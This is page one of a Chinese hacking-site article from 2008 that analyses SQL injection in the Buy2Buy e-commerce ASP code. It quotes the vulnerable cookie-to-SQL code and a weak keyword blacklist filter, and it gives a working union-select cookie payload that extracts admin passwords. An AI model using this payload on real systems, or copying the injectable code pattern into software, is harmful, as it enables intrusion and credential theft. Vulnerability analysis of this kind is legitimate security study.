安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

百尔买电子商务系统几个漏洞的分析(图)

更新时间:2008-10-11 0:02:41
责任编辑:高远
热 点:
作者:NinTy
来源:http://www.hackm.com/
 
公司让到网上去找一些现成的代码。以后做网站的时候 有的话好直接抄。
这一找可就吐了血了。。
我只会找注入和跨站的漏洞。哪位牛人告诉我 还有什么比较常见的漏洞?

一、        注入。
1.        发生在更改会员密码的时候。
代码:disuser2.asp

CODE:

sub changepass()
if strUserName="" then
response.Write "<center>请先登录</center>"
response.End
end if %>

                        ......中间省略 .......
<td width=50% height="25" align="right">用 户 名:</td>
<td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600>
  <% = strUserName %></font></td>               
</tr>
                ......中间省略 .......
<%
end sub
上面的代码把strUserName变量输出了.我们来看看这个strUserName 是怎么得到的!
在conn.asp里.
代码如下:

CODE:

Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 1               
Fy_Zx = "index.Asp"       
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"’")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
  Case "1"
Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n  请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!’);window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href=’"&Fy_Zx&"’</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert(‘出现错误!参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n  请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!’);location.href=’"&Fy_Zx&"’;</Script>"
End Select
                        ....中间省略 .....
strUserName = "非注册用户"
strTitle = "非注册用户"
if Request.Cookies("Buy2Buy")("username")<>"" then
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username=’"&request.Cookies("Buy2Buy")("username")&"’ ",conn,1,1        ///这里直接把COOKIE里的USERNAME拼进了SQL,漏洞产生了!
                        ....中间省略 .....

strUserName = rsVip("UserName")

                        ....中间省略 .....
set rsVip=nothing
End If
漏洞基本上和那个网软购物系统一样.
代码只对QUERT_STRING里的数据进行了关键字的检查.只对GET提交的数据进行了检查,而且检查的还不够严格!union asc() chr() 这种都没过滤的.
利用方法:
先注册一个会员。然后转到会员中心,然后打开WSE,然后再修改密码.截取发送的数据包.



把username=ninty改成

CODE:

Username=a’%20union%20select%20’1’,’1’,’1’,’1’,’1’,userpassword,’1’,’1’%20from%20admin%20where%20’’=’一个union查询.因为a是一个不存在的用户,这样就只会有union后面的那个select语句的结果出现在recoreset中.
strUserName = rsVip("UserName")
rsVip(“UserName”)取到的正好是userpassword列的值,赋给了strUserName.
然后就被disuser2.asp输出了.
改后是这样的:

1 2 3 4 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画